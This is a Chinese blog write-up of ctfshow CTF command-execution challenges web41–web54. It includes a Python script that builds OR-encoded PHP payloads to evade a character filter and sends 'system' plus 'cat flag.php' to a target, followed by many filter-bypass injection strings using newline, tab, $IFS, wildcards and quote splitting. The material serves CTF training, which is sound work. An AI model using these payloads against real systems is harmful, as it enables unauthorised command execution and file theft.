命令执行篇2(web41-54)

8.web41

留下了"|"运算符可以用没被过滤的字符通过或运算拼出我们想用的字符

用的羽师傅的脚本

ctfshow web入门 web41_ctfshow web41-CSDN博客

# 导入正则表达式模块
import re
# 导入urllib模块:用于处理URL的模块。
import urllib
# 从urllib模块中导入parse模块:urllib模块的一部分,用于解析URL。
from urllib import parse
# 导入requests模块:用于发送HTTP请求的模块。
import requests

contents = []

# 遍历0-255的整数
for i in range(256):
    for j in range(256):
        # 将整数转换为16进制字符串,不足两位前面补0
        hex_i = '{:02x}'.format(i)
        hex_j = '{:02x}'.format(j)
        # 定义正则表达式,匹配数字、小写字母、大写字母、^、+、~、$、[、]、{、}、&
        preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
        # 如果i或j对应的字符匹配正则表达式,则跳过
        if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
            continue
        else:
            # 将16进制字符串转换为字符
            a = '%' + hex_i
            b = '%' + hex_j
            # 对应字符进行按位或运算
            c = chr(int(a[1:], 16) | int(b[1:], 16))
            # 如果结果字符的ASCII码在32-126之间,则添加到contents列表中
            if 32 <= ord(c) <= 126:
                contents.append([c, a, b])


# 定义一个函数,用于生成payload
def make_payload(cmd):
    # 初始化两个空字符串
    payload1 = ''
    payload2 = ''
    # 遍历cmd中的每个字符
    for i in cmd:
        # 遍历contents中的每个元素
        for j in contents:
            # 如果cmd中的字符与contents中的第一个元素相等
            if i == j[0]:
                # 将contents中的第二个元素添加到payload1中
                payload1 += j[1]
                # 将contents中的第三个元素添加到payload2中
                payload2 += j[2]
                # 跳出内层循环
                break
    # 将payload1和payload2用双引号括起来,并用竖线连接
    payload = '("' + payload1 + '"|"' + payload2 + '")'
    # 返回生成的payload
    return payload

URL = input('url:')
# 构造payload,包含system和cat flag.php命令
payload = make_payload('system') + make_payload('cat flag.php')
# 发送POST请求,将payload作为参数,urllib.parse.unquote函数用于解码URL编码的字符串。
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
# 打印响应内容
print(response.text)

下面是一个具体的例子

9.web42



ctfshow-web入门-命令执行(web42知识铺垫与四种常见截断方法)_分号截断命令执行-CSDN博客

system($c." >/dev/null 2>&1"); // 执行变量$c中包含的命令,并将输出重定向到/dev/null,这意味着不显示任何执行结果

10.web43

nl flag.php%0a 然后查看源代码(nl 命令在 Linux 中用于显示文件内容并加上行号

或者c=tac flag.php%0a

11.web44

c=tac fla*%0a

12.web45(多过滤了空格)

空格可用%09(tab键)绕过

13.web46

?c=tac<fla%27%27g.php||(?c=tac<fla''g.php||或者?c=nl<fla''g.php||  nl需要查看源代码)

url/?c=tac%09fla?.php||

14.web47到web50类似

?c=tac<f''lag.php||

?c=ca\t<fl\ag.php||

url/?c=tac%09fla?.php||

?c=tac%09fl\ag.php||

?c=tac%09fla?.php%26%26ls

15.web52,53

用$IFS或者${IFS}代替空格

ctfshow WEB入门 命令执行29-77&118-122&124_ctfshow web29-CSDN博客

16.web54

?c=cp${IFS}???g.php${IFS}t.txt

grep命令将在名为flag.php的文件中搜索包含ctfshow文本的行。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值